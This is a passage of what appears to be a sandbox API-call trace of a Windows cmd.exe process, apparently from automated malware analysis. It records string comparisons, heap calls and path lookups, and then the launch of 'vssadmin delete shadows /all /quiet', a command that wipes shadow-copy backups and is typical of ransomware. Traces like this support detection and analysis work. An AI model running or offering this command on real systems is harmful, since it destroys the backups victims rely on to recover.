lpBuffer=0x7ff75b819970*, lpNumberOfBytesWritten=0x70c73ffb58*=0x24, lpOverlapped=0x0) returned 1 [0106.645] GetProcessHeap () returned 0x1df77e30000 [0106.645] RtlAllocateHeap (HeapHandle=0x1df77e30000, Flags=0x8, Size=0x4012) returned 0x1df77e38fe0 [0106.645] GetProcessHeap () returned 0x1df77e30000 [0106.645] RtlFreeHeap (HeapHandle=0x1df77e30000, Flags=0x0, BaseAddress=0x1df77e38fe0) returned 1 [0106.647] _wcsicmp (_String1="vssadmin", _String2=")") returned 77 [0106.647] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16 [0106.647] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16 [0106.647] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13 [0106.647] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13 [0106.647] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4 [0106.647] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4 [0106.647] GetProcessHeap () returned 0x1df77e30000 [0106.648] RtlAllocateHeap (HeapHandle=0x1df77e30000, Flags=0x8, Size=0xb0) returned 0x1df77e367b0 [0106.648] GetProcessHeap () returned 0x1df77e30000 [0106.648] RtlAllocateHeap (HeapHandle=0x1df77e30000, Flags=0x8, Size=0x22) returned 0x1df77e36a50 [0106.649] GetProcessHeap () returned 0x1df77e30000 [0106.649] RtlAllocateHeap (HeapHandle=0x1df77e30000, Flags=0x8, Size=0x48) returned 0x1df77e36a80 [0106.650] GetConsoleOutputCP () returned 0x1b5 [0109.654] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff75b81fbb0 | out: lpCPInfo=0x7ff75b81fbb0) returned 1 [0109.655] SetThreadUILanguage (LangId=0x0) returned 0x409 [0110.197] GetConsoleTitleW (in: lpConsoleTitle=0x70c73ff9a0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0110.217] malloc (_Size=0xffce) returned 0x1df78020840 [0110.217] ??_V@YAXPEAX@Z () returned 0x1df78020840 [0110.217] malloc (_Size=0xffce) returned 0x1df78030820 [0110.218] ??_V@YAXPEAX@Z () returned 0x1df78030820 [0110.219] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0110.219] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0110.219] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0110.219] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0110.219] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0110.219] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0110.219] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0110.219] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0110.219] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0110.219] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0110.219] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0110.219] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0110.219] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0110.219] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0110.219] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0110.219] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0110.219] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0110.219] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0110.219] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0110.220] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0110.220] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0110.220] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0110.220] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0110.220] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0110.220] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0110.220] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0110.220] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0110.220] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0110.220] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0110.220] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0110.220] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0110.220] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0110.220] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0110.220] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0110.220] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0110.220] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0110.220] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0110.220] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0110.220] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0110.220] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0110.220] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0110.220] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0110.221] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0110.221] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0110.221] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0110.221] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0110.221] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0110.221] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0110.221] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0110.221] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0110.221] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0110.221] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0110.221] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0110.221] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0110.221] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0110.221] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0110.221] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0110.221] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0110.221] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0110.221] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0110.221] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0110.221] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0110.221] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0110.221] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0110.222] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0110.222] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0110.222] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0110.222] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0110.222] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0110.222] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0110.222] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0110.222] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0110.222] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0110.222] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0110.222] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0110.222] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0110.222] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0110.222] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0110.222] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0110.222] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0110.222] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0110.222] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0110.222] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0110.222] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0110.222] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0110.222] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0110.222] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0110.223] ??_V@YAXPEAX@Z () returned 0x1 [0110.223] GetProcessHeap () returned 0x1df77e30000 [0110.223] RtlAllocateHeap (HeapHandle=0x1df77e30000, Flags=0x8, Size=0xffde) returned 0x1df77e38fe0 [0110.224] GetProcessHeap () returned 0x1df77e30000 [0110.224] RtlAllocateHeap (HeapHandle=0x1df77e30000, Flags=0x8, Size=0x5a) returned 0x1df77e319f0 [0110.224] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0110.224] malloc (_Size=0xffce) returned 0x1df78030820 [0110.224] ??_V@YAXPEAX@Z () returned 0x1df78030820 [0110.225] GetProcessHeap () returned 0x1df77e30000 [0110.225] RtlAllocateHeap (HeapHandle=0x1df77e30000, Flags=0x8, Size=0x1ffac) returned 0x1df77e48fd0 [0110.228] SetErrorMode (uMode=0x0) returned 0x0 [0110.228] SetErrorMode (uMode=0x1) returned 0x0 [0110.228] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x1df77e48fe0, lpFilePart=0x70c73ff220 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x70c73ff220*="Desktop") returned 0x17 [0110.228] SetErrorMode (uMode=0x0) returned 0x1 [0110.228] GetProcessHeap () returned 0x1df77e30000 [0110.228] RtlReAllocateHeap (Heap=0x1df77e30000, Flags=0x0, Ptr=0x1df77e48fd0, Size=0x52) returned 0x1df77e48fd0 [0110.228] GetProcessHeap () returned 0x1df77e30000 [0110.228] RtlSizeHeap (HeapHandle=0x1df77e30000, Flags=0x0, MemoryPointer=0x1df77e48fd0) returned 0x52 [0110.229] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff75b81bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0110.229] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0110.229] GetProcessHeap () returned 0x1df77e30000 [0110.229] RtlAllocateHeap (HeapHandle=0x1df77e30000, Flags=0x8, Size=0x1bc) returned 0x1df77e38320 [0110.229] GetProcessHeap () returned 0x1df77e30000 [0110.229] RtlAllocateHeap (HeapHandle=0x1df77e30000, Flags=0x8, Size=0x368) returned 0x1df77e49040 [0110.240] GetProcessHeap () returned 0x1df77e30000 [0110.240] RtlReAllocateHeap (Heap=0x1df77e30000, Flags=0x0, Ptr=0x1df77e49040, Size=0x1be) returned 0x1df77e49040 [0110.240] GetProcessHeap () returned 0x1df77e30000 [0110.240] RtlSizeHeap (HeapHandle=0x1df77e30000, Flags=0x0, MemoryPointer=0x1df77e49040) returned 0x1be [0110.240] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff75b81bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0110.240] GetProcessHeap () returned 0x1df77e30000 [0110.240] RtlAllocateHeap (HeapHandle=0x1df77e30000, Flags=0x8, Size=0xe8) returned 0x1df77e36c30 [0110.242] GetProcessHeap () returned 0x1df77e30000 [0110.242] RtlReAllocateHeap (Heap=0x1df77e30000, Flags=0x0, Ptr=0x1df77e36c30, Size=0x7e) returned 0x1df77e36c30 [0110.242] GetProcessHeap () returned 0x1df77e30000 [0110.242] RtlSizeHeap (HeapHandle=0x1df77e30000, Flags=0x0, MemoryPointer=0x1df77e36c30) returned 0x7e [0110.242] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0110.242] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x70c73fef90, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x70c73fef90) returned 0xffffffffffffffff [0110.243] GetLastError () returned 0x2 [0110.243] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0110.243] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x70c73fef90, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x70c73fef90) returned 0xffffffffffffffff [0110.246] GetLastError () returned 0x2 [0110.246] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0110.246] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x70c73fef90, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x70c73fef90) returned 0x1df77e36cc0 [0110.246] GetProcessHeap () returned 0x1df77e30000 [0110.246] RtlAllocateHeap (HeapHandle=0x1df77e30000, Flags=0x0, Size=0x28) returned 0x1df77e31a60 [0110.246] FindClose (in: hFindFile=0x1df77e36cc0 | out: hFindFile=0x1df77e36cc0) returned 1 [0110.247] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x70c73fef90, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x70c73fef90) returned 0xffffffffffffffff [0110.248] GetLastError () returned 0x2 [0110.248] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x70c73fef90, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x70c73fef90) returned 0x1df77e36cc0 [0110.248] GetProcessHeap () returned 0x1df77e30000 [0110.248] RtlReAllocateHeap (Heap=0x1df77e30000, Flags=0x0, Ptr=0x1df77e31a60, Size=0x8) returned 0x1df77e31a60 [0110.248] FindClose (in: hFindFile=0x1df77e36cc0 | out: hFindFile=0x1df77e36cc0) returned 1 [0110.248] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0110.248] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0110.248] ??_V@YAXPEAX@Z () returned 0x1 [0110.248] GetConsoleTitleW (in: lpConsoleTitle=0x70c73ff510, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0110.284] GetProcessHeap () returned 0x1df77e30000 [0110.284] RtlAllocateHeap (HeapHandle=0x1df77e30000, Flags=0x8, Size=0x21c) returned 0x1df77e36cc0 [0110.284] GetConsoleTitleW (in: lpConsoleTitle=0x1df77e36cd0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0110.399] GetProcessHeap () returned 0x1df77e30000 [0110.399] RtlReAllocateHeap (Heap=0x1df77e30000, Flags=0x0, Ptr=0x1df77e36cc0, Size=0xc2) returned 0x1df77e36cc0 [0110.399] GetProcessHeap () returned 0x1df77e30000 [0110.399] RtlSizeHeap (HeapHandle=0x1df77e30000, Flags=0x0, MemoryPointer=0x1df77e36cc0) returned 0xc2 [0110.399] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0111.775] GetProcessHeap () returned 0x1df77e30000 [0111.775] RtlFreeHeap (HeapHandle=0x1df77e30000, Flags=0x0, BaseAddress=0x1df77e36cc0) returned 1 [0111.775] InitializeProcThreadAttributeList (in: lpAttributeList=0x70c73ff430, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x70c73ff320 | out: lpAttributeList=0x70c73ff430, lpSize=0x70c73ff320) returned 1 [0111.775] UpdateProcThreadAttribute (in: lpAttributeList=0x70c73ff430, dwFlags=0x0, Attribute=0x60001, lpValue=0x70c73ff30c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x70c73ff430, lpPreviousValue=0x0) returned 1 [0111.775] GetStartupInfoW (in: lpStartupInfo=0x70c73ff3c0 | out: lpStartupInfo=0x70c73ff3c0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x264, hStdOutput=0x270, hStdError=0x270)) [0111.775] GetProcessHeap () returned 0x1df77e30000 [0111.775] RtlAllocateHeap (HeapHandle=0x1df77e30000, Flags=0x8, Size=0x20) returned 0x1df77e36cc0 [0111.776] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0111.777] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0111.777] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0111.777] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0111.777] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0111.777] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0111.777] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0111.777] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0111.777] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0111.777] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0111.777] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0111.777] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0111.777] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0111.777] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0111.777] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0111.777] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0111.777] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0111.777] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0111.777] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0111.777] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0111.777] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0111.778] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0111.778] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0111.778] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0111.778] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0111.778] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0111.778] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0111.778] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0111.778] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0111.778] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0111.778] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0111.778] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0111.778] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0111.778] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0111.778] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0111.778] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0111.784] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0111.784] GetProcessHeap () returned 0x1df77e30000 [0111.784] RtlFreeHeap (HeapHandle=0x1df77e30000, Flags=0x0, BaseAddress=0x1df77e36cc0) returned 1 [0111.784] GetProcessHeap () returned 0x1df77e30000 [0111.784] RtlAllocateHeap (HeapHandle=0x1df77e30000, Flags=0x8, Size=0x12) returned 0x1df77e31a80 [0111.784] _get_osfhandle (_FileHandle=1) returned 0x270 [0111.784] SetConsoleMode (hConsoleHandle=0x270, dwMode=0x0) returned 0 [0111.785] _get_osfhandle (_FileHandle=0) returned 0x264 [0111.785] SetConsoleMode (hConsoleHandle=0x264, dwMode=0x0) returned 0 [0111.785] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0x70c73ff350*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x70c73ff328 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0x70c73ff328*(hProcess=0x9c, hThread=0x98, dwProcessId=0xfd4, dwThreadId=0xffc)) returned 1 [0114.028] CloseHandle (hObject=0x98) returned 1 [0114.028] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0114.028] GetProcessHeap () returned 0x1df77e30000 [0114.029] RtlFreeHeap (HeapHandle=0x1df77e30000, Flags=0x0, BaseAddress=0x1df77e38500) returned 1 [0114.029] GetEnvironmentStringsW () returned 0x1df77e38500* [0114.029] GetProcessHeap () returned 0x1df77e30000 [0114.029] RtlAllocateHeap (HeapHandle=0x1df77e30000, Flags=0x8, Size=0xacc) returned 0x1df77e493b0 [0114.029] FreeEnvironmentStringsA (penv="=") returned 1 [0114.030] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffcea380000 [0114.030] GetProcAddress (hModule=0x7ffcea380000, lpProcName="NtQueryInformationProcess") returned 0x7ffcea4256b0 [0114.030] NtQueryInformationProcess (in: ProcessHandle=0x9c, ProcessInformationClass=0x0, ProcessInformation=0x70c73fe828, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x70c73fe828, ReturnLength=0x0) returned 0x0 [0114.030] ReadProcessMemory (in: hProcess=0x9c, lpBaseAddress=0xfe26e8000, lpBuffer=0x70c73fe860, nSize=0x7a0, lpNumberOfBytesRead=0x70c73fe820 | out: lpBuffer=0x70c73fe860*, lpNumberOfBytesRead=0x70c73fe820*=0x7a0) returned 1 [0114.034] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0xffffffff) Thread: id = 36 os_tid = 0x1284 Process: id = "4" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x60ea000" os_pid = "0x1164" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x112c" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 14 os_tid = 0x117c [0101.379] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff75b7e0000 [0101.379] __set_app_type (_Type=0x1) [0101.379] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff75b7f6d00) returned 0x0 [0101.379] __getmainargs (in: _Argc=0x7ff75b819200, _Argv=0x7ff75b819208, _Env=0x7ff75b819210, _DoWildCard=0, _StartInfo=0x7ff75b81921c | out: _Argc=0x7ff75b819200, _Argv=0x7ff75b819208, _Env=0x7ff75b819210) returned 0 [0101.379] _onexit (_Func=0x7ff75b7f7fd0) returned 0x7ff75b7f7fd0 [0101.379] _onexit (_Func=0x7ff75b7f7fe0) returned 0x7ff75b7f7fe0 [0101.379] _onexit (_Func=0x7ff75b7f7ff0) returned 0x7ff75b7f7ff0 [0101.380] _onexit (_Func=0x7ff75b7f8000) returned 0x7ff75b7f8000 [0101.380] _onexit (_Func=0x7ff75b7f8010) returned 0x7ff75b7f8010 [0101.380] _onexit (_Func=0x7ff75b7f8020) returned 0x7ff75b7f8020 [0101.380] GetCurrentThreadId () returned 0x117c [0101.381] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x117c) returned 0x70 [0101.381] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffce9120000 [0101.381] GetProcAddress (hModule=0x7ffce9120000, lpProcName="SetThreadUILanguage") returned 0x7ffce913a990 [0101.381] SetThreadUILanguage (LangId=0x0) returned 0x409 [0101.733] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0101.733] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xbfb21ffba8 | out: phkResult=0xbfb21ffba8*=0x0) returned 0x2 [0101.734] VirtualQuery (in: lpAddress=0xbfb21ffb94, lpBuffer=0xbfb21ffb10, dwLength=0x30 | out: lpBuffer=0xbfb21ffb10*(BaseAddress=0xbfb21ff000, AllocationBase=0xbfb2100000, AllocationProtect=0x4, __alignment1=0xffff9302, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0101.734] VirtualQuery (in: lpAddress=0xbfb2100000, lpBuffer=0xbfb21ffb10, dwLength=0x30 | out: lpBuffer=0xbfb21ffb10*(BaseAddress=0xbfb2100000, AllocationBase=0xbfb2100000, AllocationProtect=0x4, __alignment1=0xffff9302, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0101.734] VirtualQuery (in: lpAddress=0xbfb2101000, lpBuffer=0xbfb21ffb10, dwLength=0x30 | out: lpBuffer=0xbfb21ffb10*(BaseAddress=0xbfb2101000, AllocationBase=0xbfb2100000, AllocationProtect=0x4, __alignment1=0xffff9302, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0101.734] VirtualQuery (in: lpAddress=0xbfb2104000, lpBuffer=0xbfb21ffb10, dwLength=0x30 | out: lpBuffer=0xbfb21ffb10*(BaseAddress=0xbfb2104000, AllocationBase=0xbfb2100000, AllocationProtect=0x4, __alignment1=0xffff9302, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0101.734] VirtualQuery (in: lpAddress=0xbfb2200000, lpBuffer=0xbfb21ffb10, dwLength=0x30 | out: lpBuffer=0xbfb21ffb10*(BaseAddress=0xbfb2200000, AllocationBase=0xbfb2200000, AllocationProtect=0x4, __alignment1=0xffff9302, RegionSize=0x1a4000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0101.734] GetConsoleOutputCP () returned 0x1b5 [0102.513] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff75b81fbb0 | out: lpCPInfo=0x7ff75b81fbb0) returned 1 [0102.513] SetConsoleCtrlHandler (HandlerRoutine=0x7ff75b808150, Add=1) returned 1 [0102.514] _get_osfhandle (_FileHandle=1) returned 0x298 